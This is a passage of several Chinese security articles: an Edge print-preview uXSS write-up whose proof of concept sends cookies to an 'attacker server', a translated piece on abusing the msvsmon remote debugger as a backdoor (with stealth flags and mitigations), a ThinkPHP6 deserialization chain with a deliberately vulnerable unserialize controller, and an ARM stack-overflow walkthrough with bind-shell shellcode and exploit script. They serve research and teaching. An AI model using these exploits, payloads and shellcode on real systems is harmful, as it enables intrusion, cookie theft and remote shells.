Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME>
<SCRIPT>
qbutt.onclick=e=>{
window.print();
}
</SCRIPT>
</BODY></HTML>
从这个比较中我们可以注意到一些事情。
JavaScript已编码并渲染失败。
IFRAME现在指向同一目录中的另一个本地文件，其中包含原始bing.com引用的源代码。
HTML元素现在有一个特殊的属性`_IE_DisplayURL`。
我做了一些关于[1]和[2]的测试，首先我试着看看编码后是否仍然可以得到有效的Javascript，我还希望我能执行Javascript。但这一切都是徒劳，`<script>`元素中的任何Javascript，不管是有效还是无效，都不会被执行。
在[2]中，我能够使用`CSS '@media print{}'`功能和[ CSS selector
magic](https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d " CSS selector magic") 来提供操作系统用户名，以便从生成的IFRAME
href值中获取操作系统用户名,然而这还远远不够。
[3]是事情变得有趣的地方，这个属性非常不寻常，到目前为止我从未见过它。所以我立马Google了一下：）发现了几篇关于这个属性的文章，一个日本人木川正道利用这个属性发现了几个很酷的bug。
在进行了一些阅读和摸索之后，我发现打印预览上下文通过这个属性来知晓文档的来源。这是很有研究意义的，因为Edge实际上通过“file:”URI来打开文件。但是，通过这个属性，你会发现所有来自该文档的请求(在打印预览中)将模拟与来自原始网站的请求完全相同的行为。
但是我们怎么能滥用这个属性呢？
# 在打印预览中执行Javascript
正如我之前所说的，来自普通SCRIPT标签的任何Javascript都将被阻止或被忽略。但是其他载体呢？
我们在这里处理的是打印函数，所以我很自然地处理与打印相关的事件，得到‘onbeforeprint’，利用它让我有能力注入一个指向任何网站的iframe，而不需要Edge先把它转换成一个文件。因此，我就尝试注入一个指向Javascript
URL的iframe，然后砰！在打印预览上下文中执行了该特定Javascript。
Javascript注入测试：
<!doctype html>
<html>
<head>
<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<div id="qcontent"></div>
<script>
qbutt.onclick=e=>{
window.print();
}
window.onbeforeprint=function(e){
qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
}
</script>
</body>
</html>
打印预览转换后：
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META
content="text/html; charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com/dl.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV
id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV>
<SCRIPT>
qbutt.onclick=e=>{
window.print();
}
window.onbeforeprint=function(e){
qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
}
</SCRIPT>
</BODY></HTML>
结果截图：
现在，仅仅执行Javascript并不意味着我们已经完成了任务。由于`_IE_DisplayURL`属性，因此任何请求或API都将被视为来自原始文档来源。
# 实际UXSS
现在我们能够执行Javascript，我们需要以某种方式定义`_IE_DisplayURL`来构建我们自己的‘打印预览文档’，然后我们可以模仿我们选择的任何网站，从而产生uXSS。
我发现使用Blob
URL可以做到这一点。因此，我制作了自己的打印文档，带有自定义属性指向我的目标网站(本例中为‘bing.com’)，它包含一个Javascript
iframe，它会像‘bing.com’一样来执行。
我注入了以下Javascript：
if (top.location.protocol == 'file:') {
setTimeout(function() {
top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], {
type: 'text/html'
}))
}, 1000)
}
其中`'top.document.getElementById('qd').value`是伪造的‘打印文档’
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML
__IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html;
charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>
<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>
我所做的就是阅读“document.cookie”并将其发送到服务器。
总结一下漏洞利用过程：
使用“onbeforeprint”事件，我在打印之前插入一个指向我的Javascript有效负载的iframe。
调用window.print()来初始化。
Edge然后在渲染注入的Javascript时显示打印预览窗口。
注入的Javascript创建了一个Blob URL，其中包含我的自定义“bing.com”打印文档，并将顶部框架重定向到此URL。
打印预览上下文认为“我的Blob URL”的内容是合法的打印文档，并通过`_IE_DisplayURL`属性将文档来源设置为“bing.com”。
伪造打印文档包含另一个`Javascript iframe`，它只显示“bing.com”的“document.cookie”
uXSS bingo！
# 最终PoC和视频
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<head>
<style>iframe{width:300px;height:300px;}</style>
</head>
<body>
<!-- -----------------------------HTML for our blob------------------------------------ -->
<textarea id="qd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML
__IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html;
charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>
<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>
</textarea>
<!-- ---------------------------------------------------------------------------- -->
<script>
var qdiv=document.createElement('div');
document.body.appendChild(qdiv);
window.onbeforeprint=function(e){
qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`;
}
window.print();
</script>
<style>
</style>
</body>
</html>
<https://i.imgur.com/TYAQHp3.mp4>
参考
<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1030>
原文：https://leucosite.com/Microsoft-Edge-uXSS/?q | 社区文章 |
# 攻击者是如何滥用msvsmon和Windows远程调试器的
|
##### 译文声明
本文是翻译文章，文章原作者 Michael Myngerbayev，文章来源：labs.sentinelone.com
原文地址：<https://labs.sentinelone.com/misusing-msvsmon-and-the-windows-remote-debugger/>
译文仅供参考，具体内容表达以及含义原文为准。
在本文中，我们将为读者详细介绍攻击者是如何滥用msvsmon和Windows远程调试器的。
## 简介
让无人值守的msvsmon.exe（远程调试器监视器）处于“无需身份验证”模式是一种非常危险的做法。与任何调试器一样，msvsmon.exe也可以根据来自网络的请求启动进程。攻击者可以利用msvsmon.exe的这个特性展开秘密行动，特别是当msvsmon.exe在具有很高的权限的帐户下运行时。同时，攻击者还可以将其用作后门，以便在攻陷机器后维持其访问权限。也就是说，msvsmon.exe不仅是一个带有Microsoft签名的应用程序，同时还能用于启动和操作进程，因此，攻击者可以将其用作隐藏恶意活动的方便工具。
除此之外，我们还将在这篇文章中为读者介绍远程调试功能及其内部机制，并演示如何将其转化为红队的一个新工具。最后，我们将分享一个工具，用于检测组织中运行的msvsmon.exe程序的危险实例。
## Visual Studio远程调试器中的msvsmon.exe
为了便于调试部署在远程计算机上的应用程序，Microsoft Windows
SDK提供了远程调试功能。并且，该远程调试解决方案的组件之一就是msvsmon可执行文件：一个在远程计算机上运行的应用程序，用于监听网络并充当本地调试器。实际上，msvsmon.exe的角色与Linux
gdbserver非常相似。msvsmon工具可以从开发人员计算机上运行的Visual Studio实例那里接受命令，处理本地调试事件并与Visual
Studio进行交互。
然而，与所有便利性一样，远程调试的强大功能也是以安全性为代价的，因为让远程调试器监听网络会带来安全隐患。为了防止该功能被攻击者所利用，Microsoft向该监视器添加了身份验证（默认情况下是启用的），并对某些调试核心组件的导出函数名进行了模糊处理：
这些措施虽然有一定的作用，但还是无法做到万无一失。尽管身份验证是基于Windows身份验证的，但仍然会让事情变得繁琐。为了让调试更简单，开发人员有时会禁用身份验证。值得一提的是，身份验证还允许对调试器和调试器之间的网络流量进行加密。
## msvsmon是如何危及系统安全的
对于msvsmon.exe的恶意用法，至少有两种：一是用作横向移动工具，二是用作后门工具。
对于第一种用途，攻击者在获得对网络中计算机的访问权限后，可以扫描网络，寻找正在运行的msvsmon.exe实例。一旦找到，攻击者就可以利用该实例启动一个LOLBin进程，以便在网络中进一步发动攻击。
对于第二种用途，攻击者可以把msvsmon用作远程shell。由于msvsmon是一个可移植的应用程序，因此，攻击者可以将其植入到被攻陷的计算机上，并且与Mshta、WScript和其他lolbin结合起来，从而提供一种远程执行命令的方便方法。在这种情况下，恶意脚本的代码可以作为参数传递，从而实现无文件型的命令执行。
在启动时向应用程序传递以下参数有助于对用户隐藏msvsmon.exe的行踪：
/noauth, /anyuser, /nosecuritywarn, /nowowwarn /silent, /timeout:2147483646
此外，由于msvsmon是一个调试器，它可以通过网络操纵debuggee进程，从而让远程攻击者能够完全控制运行中的进程，包括操纵内存和线程。因此，即使是一个由msvsmon启动的合法进程，也可能被攻击者“偷梁换柱（hollowed）”，从而变成攻击者的帮凶。
## SOAP与远程调试器的重要性
我们知道，调试服务器是使用SOAP协议进行通信的。并且这里的服务器是由多个msvsmon.exe实例组成的，其中一个实例提供有SSDP网络发现功能，使debuggee主机对客户端可见。另外，还有实例还托管了vsdebugeng.dll库，其中包含SOAP服务器的实现。同时，vsdebugeng.dll库也实现了SOAP客户端并被加载到Visual
Studio实例中。
每当开发人员选择远程调试选项并按下F10键时，Visual
Studio就会使用vsdebugeng.dll中的一个名称已经过混淆处理的函数与调试服务器进行通信，从而触发被调试进程的执行，并处理来自远程进程的调试事件。
下面是SOAP网络交互的示意图：
在Wireshark视图中，SOAP请求看起来非常混乱：
幸运的是，我们能够以更具可读性的格式记录和查看SOAP协议。为此，只需在EventViewer中为WebServices启用分析和调试日志功能，这样就会生成可直接通过EventViewer查看的XML日志：
为了证明第三方软件使用调试服务器的可能性，我们对该协议进行了深入的研究，并创建了一个自定义客户端来指示服务器启动和恢复进程。这个客户端首先会触发mshta.exe的执行，而mshta.exe则会运行作为参数传递给它的JScript代码。因此，这实际上就是一个真正的后门工具，可以用来控制远程计算机。
当然，这里的调试协议是相当复杂的。它不仅包含了许多数据结构，还实现了大量的SOAP请求。虽然我们确实发现了其中的一些请求，但这些仅仅是远程调试的冰山一角。首先，该服务器使用了多种类型的SOAP请求，其中最重要的是从服务器发送或查询信息，并处理来自服务器的请求（回调）。在创建进程的过程中，最值得注意的阶段为：初始化、设置配置和启动阶段。当然，每个阶段都是由客户端发起的SOAP请求所触发的。由于msvsmon是一个调试器，它会在CREATE_SUPANDED标志为on的情况下启动进程，因此，需要通过Resume请求让进程继续运行。
## 如何防止远程调试器被滥用
考虑到msvsmon远程调试组件被误用和滥用的可能性，必须加强开发人员的网络安全意识。
首先，严禁在身份验证关闭的情况下运行调试服务器。通过将远程管理用户的凭据添加到本地凭据存储器（Windows凭据管理器最初是在Windows
Vista版本中引入的），可以创建简单的身份验证设置。Windows凭据管理器不仅可以用于存储网站、应用程序和网络连接的凭据，同时，它对于远程调试来说也非常有用。例如，如果目标计算机名为“DEBUGGEE”，管理用户为“dbg”，那么只需将DEBUGGEE\dbg条目和密码添加到凭据管理器就行了。有关凭据管理器API的详细信息，可以在这里找到。
接下来，在Visual Studio中将调试配置的“Connection”属性设置为“Remote with Windows
authentication”，并在目标计算机上运行调试服务器。现在，基于身份验证的调试设置就准备好了。
## 如何扫描不安全的调试服务器
为了帮助查找网络中不安全的调试服务器，我们发布了一个相应的扫描程序，它可以向操作系统中的所有适配器广播SOAP探针请求，并处理运行中的调试服务器的回复。在默认情况下，msvsmon.exe会使用标准WebServices发现UDP:3702端口（有关调试器端口分配的更多信息，请参阅本文）。同时，msvsmon.exe还会使用配置描述符来回复探针请求，因为配置描述符能够配合其他设置来确定身份验证级别。该脚本的输出示例如下所示：
## 小结
远程调试运行在另一台机器上的应用程序的功能对于开发人员来说是一个非常有用的特性。但是，正如我们在本文中指出的，Visual
Studio的远程调试器的msvsmon组件存在被滥用的安全隐患，所以，我们一定要引起足够的注意。我们希望，读者在阅读这篇文章后，能够加强这方面的安全认识；同时，我们还提供了一款免费的扫描攻击，来帮助大家发现这种潜在的安全隐患。 | 社区文章 |
本篇文章，将记录存在于 **ThinkPHP6.x** 中的反序列化POP链。
## 环境搭建
➜ html composer create-project --prefer-dist topthink/think=6.0.x-dev tp6x
➜ html cd tp6x
➜ tp6x ./think run
将 **application/index/controller/Index.php** 代码修改成如下：
<?php
namespace app\controller;
class Index
{
public function index()
{
$u = unserialize($_GET['c']);
return 'ThinkPHP V6.x';
}
}
## 利用条件
* 有一个内容完全可控的反序列化点，例如： `unserialize(可控变量)`
* 存在文件上传、文件名完全可控、使用了文件操作函数，例如： `file_exists('phar://恶意文件')`
（满足以上任意一个条件即可）
## 漏洞链
在 **ThinkPHP5.x** 的POP链中，入口都是 **think\process\pipes\Windows** 类，通过该类触发任意类的
**__toString** 方法。但是 **ThinkPHP6.x** 的代码移除了 **think\process\pipes\Windows**
类，而POP链 **__toString** 之后的 **Gadget** 仍然存在，所以我们得继续寻找可以触发 **__toString** 方法的点。
这里我们找到一个可利用的 **Model** 类，其 **__destruct** 方法中调用了 **save** 方法，而 **save** 方法调用了
**updateData** 方法，我们跟进该方法看其具体实现。（下图对应文件 vendor/topthink/think-orm/src/Model.php ）
在 **updateData** 方法中，我们发现其调用了 **checkAllowFields**
方法，而这个方法恰恰存在字符串拼接（对应下图584行）。这里，我们就可以将 **$this- >table** 或 **$this- >suffix**
设置成类对象，然后在拼接的时候，触发其 **__toString** 方法，接着配合原先的链就可以完成整条POP链。
我们刚刚看的都是 **Model** 类的代码，而 **Model** 是一个抽象类，我们找到它的继承类就好了。这里我选取 **Pivot**
类，所以这条链的 **EXP** 如下（例如这里执行 `curl 127.0.0.1:8888` ）：
最后整理一下攻击链的流程图：
## 参考
[thinkphp v6.0.x 反序列化利用链挖掘](https://www.anquanke.com/post/id/187393) | 社区文章 |
# ARM汇编之堆栈溢出实战分析（GDB）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
经过很长一段时间在[azeria-labs](https://azeria-labs.com/writing-arm-assembly-part-1/)进行的ARM基础汇编学习，学到了很多ARM汇编的基础知识、和简单的shellcode的编写，为了验证自己的学习成果，根据该网站提供的实例，做一次比较详细的逆向分析，和shellcode的实现，为自己的ARM入门学习巩固。
实例下载地址：git clone <https://github.com/azeria-labs/ARM-challenges.git>
调试环境：`Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l
GNU/Linux`+`GNU gdb (Raspbian 7.7.1+dfsg-5+rpi1)
7.7.1`（这些都是按照网站教程安装的如果自己有ARM架构的操作系统也是可以的）
## stack0
第一步，我们先看看文件的信息`file stack0`，从返回信息可以看出该程序是一个32位可执行程序，从最后的`not
stripped`可以看出这个程序的符号信息，具体有关stripped详细介绍可以百度
_stack0: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically
linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32,
BuildID[sha1]=1171fa6db1d5176af44d6d462427f8d244bd82c8, not stripped_
下面我们给他执行权限`chmod +x
stack0`,然后执行它，会发现需要你的输入，表明这里使用了`gets`、`scanf`之类的输入方法，这些方法存在的地方就有 **溢出的风险**
，我们尝试构造一长一短的字符串，来测试一下。
短的字符串输出的让你重试的字样。
长的字符串，明显可以看出我们输入的值更改了变量导致，并且覆盖了`返回地址`，导致抛出`Segmentation
fault（访问了不可访问的内存，这个内存要么是不存在的，要么是受系统保护的）异常`
分析出它存在溢出漏洞，现在我们就需要进入他的内部世界，彻底的洞悉它
首先我们需要找到他的入口函数，因为他没有删除符号数据，我们直接执行`nm
stack0`，可以看到入口点、调用的库函数等信息，很明显入口点应该是`main`函数，我们来`gdb`走一波
U abort@@GLIBC_2.4
00020684 B __bss_end__
00020684 B _bss_end__
00020680 B __bss_start
00020680 B __bss_start__
00010360 t call_weak_fn
00020680 b completed.9004
00020678 D __data_start
00020678 W data_start
00010384 t deregister_tm_clones
000103ec t __do_global_dtors_aux
00020564 t __do_global_dtors_aux_fini_array_entry
0002067c D __dso_handle
0002056c d _DYNAMIC
00020680 D _edata
00020684 B _end
00020684 B __end__
00010510 T _fini
00010414 t frame_dummy
00020560 t __frame_dummy_init_array_entry
0001055c r __FRAME_END__
U gets@@GLIBC_2.4
00020654 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
000102c8 T _init
00020564 t __init_array_end
00020560 t __init_array_start
00010518 R _IO_stdin_used
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
00020568 d __JCR_END__
00020568 d __JCR_LIST__
w _Jv_RegisterClasses
0001050c T __libc_csu_fini
000104a8 T __libc_csu_init
U __libc_start_main@@GLIBC_2.4
0001044c T main
U puts@@GLIBC_2.4
000103b4 t register_tm_clones
00010324 T _start
00020680 D __TMC_END__
gef>`disas
stack0`，我们可以看见得到main函数的反汇编代码，但是有一点不爽的是一些`库函数API`名称没有显示出来，这里提供两种解决思路：
* **升级gdb版本** （百度、google找教程，我升级到8.2版本是可以显示的。`这里有点奇怪的是，我的版本已经很高了，但是对这个二进制文件还是不能识别库函数并显示并且stripped前后都显示不了，但是对于有些二进制文件它又可以显示，如果有大佬知道，希望在评论里帮助解惑一下，thanks`）
* **objdump** 了解一下，这里我主要用的是objdump
Dump of assembler code for function main:
0x0001044c <+0>: push {r11, lr}
0x00010450 <+4>: add r11, sp, #4
0x00010454 <+8>: sub sp, sp, #80 ; 0x50
0x00010458 <+12>: str r0, [r11, #-80] ; 0x50
0x0001045c <+16>: str r1, [r11, #-84] ; 0x54
0x00010460 <+20>: mov r3, #0
0x00010464 <+24>: str r3, [r11, #-8]
0x00010468 <+28>: sub r3, r11, #72 ; 0x48
0x0001046c <+32>: mov r0, r3
0x00010470 <+36>: bl 0x102e8
0x00010474 <+40>: ldr r3, [r11, #-8]
0x00010478 <+44>: cmp r3, #0
0x0001047c <+48>: beq 0x1048c <main+64>
0x00010480 <+52>: ldr r0, [pc, #24] ; 0x104a0 <main+84>
0x00010484 <+56>: bl 0x102f4
0x00010488 <+60>: b 0x10494 <main+72>
0x0001048c <+64>: ldr r0, [pc, #16] ; 0x104a4 <main+88>
0x00010490 <+68>: bl 0x102f4
0x00010494 <+72>: mov r0, r3
0x00010498 <+76>: sub sp, r11, #4
0x0001049c <+80>: pop {r11, pc}
0x000104a0 <+84>: andeq r0, r1, r12, lsl r5
0x000104a4 <+88>: andeq r0, r1, r8, asr #10
End of assembler dump.
objdump打印的结果，下面省略了一些显示，把主要分析的部分放出来，并且可以看到所有区段的反汇编代码和地址，这样我们对照着这个输出信息，即可
stack0: file format elf32-littlearm
Disassembly of section .init:
000102c8 <_init>:
102c8: e92d4008 push {r3, lr}
102cc: eb000023 bl 10360 <call_weak_fn>
102d0: e8bd8008 pop {r3, pc}
Disassembly of section .plt:
000102d4 <gets@plt-0x14>:
102d4: e52de004 push {lr} ; (str lr, [sp, #-4]!)
102d8: e59fe004 ldr lr, [pc, #4] ; 102e4 <_init+0x1c>
102dc: e08fe00e add lr, pc, lr
102e0: e5bef008 ldr pc, [lr, #8]!
102e4: 00010370 .word 0x00010370
000102e8 <gets@plt>:
102e8: e28fc600 add ip, pc, #0, 12
102ec: e28cca10 add ip, ip, #16, 20 ; 0x10000
102f0: e5bcf370 ldr pc, [ip, #880]! ; 0x370
000102f4 <puts@plt>:
102f4: e28fc600 add ip, pc, #0, 12
102f8: e28cca10 add ip, ip, #16, 20 ; 0x10000
102fc: e5bcf368 ldr pc, [ip, #872]! ; 0x368
00010300 <__libc_start_main@plt>:
10300: e28fc600 add ip, pc, #0, 12
10304: e28cca10 add ip, ip, #16, 20 ; 0x10000
10308: e5bcf360 ldr pc, [ip, #864]! ; 0x360
0001030c <__gmon_start__@plt>:
1030c: e28fc600 add ip, pc, #0, 12
10310: e28cca10 add ip, ip, #16, 20 ; 0x10000
10314: e5bcf358 ldr pc, [ip, #856]! ; 0x358
00010318 <abort@plt>:
10318: e28fc600 add ip, pc, #0, 12
1031c: e28cca10 add ip, ip, #16, 20 ; 0x10000
10320: e5bcf350 ldr pc, [ip, #848]! ; 0x350
Disassembly of section .text:
00010324 <_start>:
10324: e3a0b000 mov fp, #0
10328: e3a0e000 mov lr, #0
1032c: e49d1004 pop {r1} ; (ldr r1, [sp], #4)
10330: e1a0200d mov r2, sp
10334: e52d2004 push {r2} ; (str r2, [sp, #-4]!)
10338: e52d0004 push {r0} ; (str r0, [sp, #-4]!)
1033c: e59fc010 ldr ip, [pc, #16] ; 10354 <_start+0x30>
10340: e52dc004 push {ip} ; (str ip, [sp, #-4]!)
10344: e59f000c ldr r0, [pc, #12] ; 10358 <_start+0x34>
10348: e59f300c ldr r3, [pc, #12] ; 1035c <_start+0x38>
1034c: ebffffeb bl 10300 <__libc_start_main@plt> ;这个库函数获取了main函数的地址，开启了main函数的执行流程
10350: ebfffff0 bl 10318 <abort@plt>
10354: 0001050c .word 0x0001050c
10358: 0001044c .word 0x0001044c ;很明显这是main函数的地址
1035c: 000104a8 .word 0x000104a8
...............
0001044c <main>:
1044c: e92d4800 push {fp, lr}
10450: e28db004 add fp, sp, #4
10454: e24dd050 sub sp, sp, #80 ; 0x50
10458: e50b0050 str r0, [fp, #-80] ; 0xffffffb0
1045c: e50b1054 str r1, [fp, #-84] ; 0xffffffac
10460: e3a03000 mov r3, #0
10464: e50b3008 str r3, [fp, #-8]
10468: e24b3048 sub r3, fp, #72 ; 0x48
1046c: e1a00003 mov r0, r3
10470: ebffff9c bl 102e8 <gets@plt>
10474: e51b3008 ldr r3, [fp, #-8]
10478: e3530000 cmp r3, #0
1047c: 0a000002 beq 1048c <main+0x40>
10480: e59f0018 ldr r0, [pc, #24] ; 104a0 <main+0x54>
10484: ebffff9a bl 102f4 <puts@plt>
10488: ea000001 b 10494 <main+0x48>
1048c: e59f0010 ldr r0, [pc, #16] ; 104a4 <main+0x58>
10490: ebffff97 bl 102f4 <puts@plt>
10494: e1a00003 mov r0, r3
10498: e24bd004 sub sp, fp, #4
1049c: e8bd8800 pop {fp, pc}
104a0: 0001051c .word 0x0001051c
104a4: 00010548 .word 0x00010548
..............
下面进行逐步分析：
1. 保存了`当前栈帧的返回地址`和`上一个栈帧`的帧地址。
将`帧指针r11`指向当前栈帧顶部的返回地址
压栈操作，压入大小为80字节的空间，为变量、参数准备的临时存放空间。
将`r0, r1`进行入栈操作，并且放在`栈顶`的位置，这是`上一个栈帧`的变量，我们需要保护起来。
0x0001044c <+0>: push {r11, lr}
0x00010450 <+4>: add r11, sp, #4
0x00010454 <+8>: sub sp, sp, #80 ; 0x50
0x10458 <main+12> str r0, [r11, #-80] ; 0x50
2. 给`r3`寄存器赋0值，然后将r3内的0存放到`r11-8`内存地址指向的空间，这个地址是临着`上一个栈帧的帧指针r11-4`（r11是当前栈帧的帧指针，指向当前栈帧顶部，顶部存放着返回地址）
0x1045c <main+16> str r1, [r11, #-84] ; 0x54
0x10460 <main+20> mov r3, #0
0x10464 <main+24> str r3, [r11, #-8]
3. 将r11-0x48（`0xbefff0e4`）的地址通过r3赋值给r0，然后作为参数传进`gets`函数中执行，这个函数会将用户输入的内容，存放到0xbefff0e4这个地址空间中
-> 0x10468 <main+28> sub r3, r11, #72 ; 0x48，上一个指针的两个变量存储用了8字节空间，刚好从r11-72的地址开始给当前栈帧的
;参数使用
0x1046c <main+32> mov r0, r3
0x10470 <main+36> bl 0x102e8 <gets[@plt](https://github.com/plt "@plt")>
4. 开始输入字符串，测试溢出
下面显示地址空间存储的值，`0xbefff0e4`地址是存放用户输入字符串开始的位置，下面我们尝试输入不同的字符来看下面这些地址存放的值的变化
gef> x/19x 0xbefff0e4
0xbefff0e4: 0xb6ffbfc4 0x00000003 0xb6e77be8 0x00000000
0xbefff0f4: 0xb6e779f8 0xbefff130 0xb6fd618c 0x00000000
0xbefff104: 0x00000000 0x00010414 0x000104f8 0xb6fb2ba0
0xbefff114: 0x000104a8 0x00000000 0x00010324 0x00000000
0xbefff124: 0x00000000 0x00000000 0xb6e8c294
尝试输入4个1后的结果输出，很明显`0xb6ffbfc4
0x00000003`中前四个字节被`0x31313131`（1的16进制）覆盖了，`0x00000003`这个值内的`03`被gets函数默认用`0x00`覆盖用来标志字符串的结尾
gef> x/19x 0xbefff0e4
0xbefff0e4: 0x31313131 0x00000000 0xb6e77be8 0x00000000
0xbefff0f4: 0xb6e779f8 0xbefff130 0xb6fd618c 0x00000000
0xbefff104: 0x00000000 0x00010414 0x000104f8 0xb6fb2ba0
0xbefff114: 0x000104a8 0x00000000 0x00010324 0x00000000
0xbefff124: 0x00000000 0x00000000 0xb6e8c294
下面我们直接输入足够的长度，一直到返回地址处，根据上面的`sub r3, r11,
#72`语句，将r11-72出作为存放用户输入的初始地址，可以知道，输入的长度至少72，这样`0xb6e8c294`最低位`94`会被`00`覆盖，下面我们进行输入72个1的覆盖，很明显我们如我们所料。（可以多输入几个字符完全覆盖，因为只覆盖最低位两个字符，可能依然会存在该地址，而导致不能实现程序的崩溃）
0xbefff0e4: 0x31313131 0x31313131 0x31313131 0x31313131
0xbefff0f4: 0x31313131 0x31313131 0x31313131 0x31313131
0xbefff104: 0x31313131 0x31313131 0x31313131 0x31313131
0xbefff114: 0x31313131 0x31313131 0x31313131 0x31313131
0xbefff124: 0x31313131 0x31313131 0xb6e8c200
5. 最后一步—-`shellcode`。构造一个shellcode来利用这个溢出漏洞，最一个完美的结尾。具体shellcode编写可以参考我的另一篇文章：<https://www.jianshu.com/p/16f1c9fe8541>
shellcode代码—-BindShell
.section .text
.global _start
_start:
.code 32
//arm set switch thumb set
add r3, pc, #1
bx r3
.code 16
//create a socket
mov r0, #2
mov r1, #1
sub r2, r2, r2
mov r7, #200
add r7, #81
svc #1
//bind local address
mov r4, r0
adr r1, local_addr
strb r2, [r1, #1]
strh r2, [r1, #4]
nop
strb r2, [r1, #6]
strb r2, [r1, #7]
mov r2, #16
add r7, #1
svc #1
//start listen,wait for connection
mov r0, r4
mov r1, #2
add r7, #2
svc #1
//accept first connection
mov r0, r4
eor r1, r1, r1
eor r2, r2, r2
add r7, #1
svc #1
mov r4, r0
//change stdin/stdout/stderr to /bin/sh
mov r0, r4
sub r1, r1, r1
mov r7, #63
svc #1
mov r0, r4
mov r1, #1
svc #1
mov r0, r4
mov r1, #2
svc #1
//execve("/bin/sh")
adr r0, bin_sh
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #7]
mov r7, #11
svc #1
local_addr:
.ascii "x02xff"
.ascii "x11x5c"
.byte 1,1,1,1
bin_sh:
.ascii "/bin/shX"
`hexdump -v -e '"\""x" /1 "%02x" ""' bindshell.bin`生成十六进制的shellcode
`x01x30x8fxe2x13xffx2fxe1x02x20x01x21x92x1axc8x27x51x37x01xdfx04x1cx11xa1x4ax70x8ax80xc0x46x8ax71xcax71x10x22x01x37x01xdfx20x1cx02x21x02x37x01xdfx20x1cx49x40x52x40x01x37x01xdfx04x1cx20x1cx49x1ax3fx27x01xdfx20x1cx01x21x01xdfx20x1cx02x21x01xdfx04xa0x49x40x52x40xc2x71x0bx27x01xdfx02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58`
写好shellcode之后，我们需要找到`合适的位置`，存放好shellcode保证程序可以正常执行shellcode，根据上面的分析，可以得到返回地址`0xb6e8c294`存放的内存地址是0xbefff124+8=`0xbefff12c`，而我们溢出的数据会一直向栈空间下面延伸，所以我们可以`将返回地址改成0xbefff12c+4`的位置，这样就会执行到后面的shellcode代码
0xbefff124: 0x00000000 0x00000000 0xb6e8c294
第一步：现将返回地址覆盖为`0xbefff130`，这里我使用python脚本来实现填充字符、和返回地址的覆盖。然后`python poc.py
>exp`,把shellcode写入exp文件，在gdb里使用`r <
exp`命令，把exp文件作为输入，来执行stack0文件。可以看到`r11`指向的`返回地址`，存储的值刚好是`下一个栈地址`
`poc.py`
port struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
//把0xbefff130转成字符串，格式为`I`unsigned int（四字节长度刚好）
return_addr = struct.pack("I", 0xbefff130)
print padding + return_addr
结果：
0xbefff128|+0x0000: 0x31313131 <-$sp
0xbefff12c|+0x0004: 0xbefff130 -> 0xb6fb1000 -> 0x0013cf20 <-$r11
0xbefff130|+0x0008: 0xb6fb1000 -> 0x0013cf20
然后在python脚本内再添加shellcode后，完整的脚本如下：
import struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xbefff130)
payload = "x01x30x8fxe2x13xffx2fxe1x02x20x01x21x92x1axc8x27x51x37x01xdfx04x1cx11xa1x4ax70x8ax80xc0x46x8ax71xcax71x10x22x01x37x01xdfx20x1cx02x21x02x37x01xdfx20x1cx49x40x52x40x01x37x01xdfx04x1cx20x1cx49x1ax3fx27x01xdfx20x1cx01x21x01xdfx20x1cx02x21x01xdfx04xa0x49x40x52x40xc2x71x0bx27x01xdfx02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58"
print padding + return_addr + payload
当我们使用`gdb`运行`r < exp`调试的时候，查询端口可以看见，`4444`端口已经开始侦听，exp成功执行
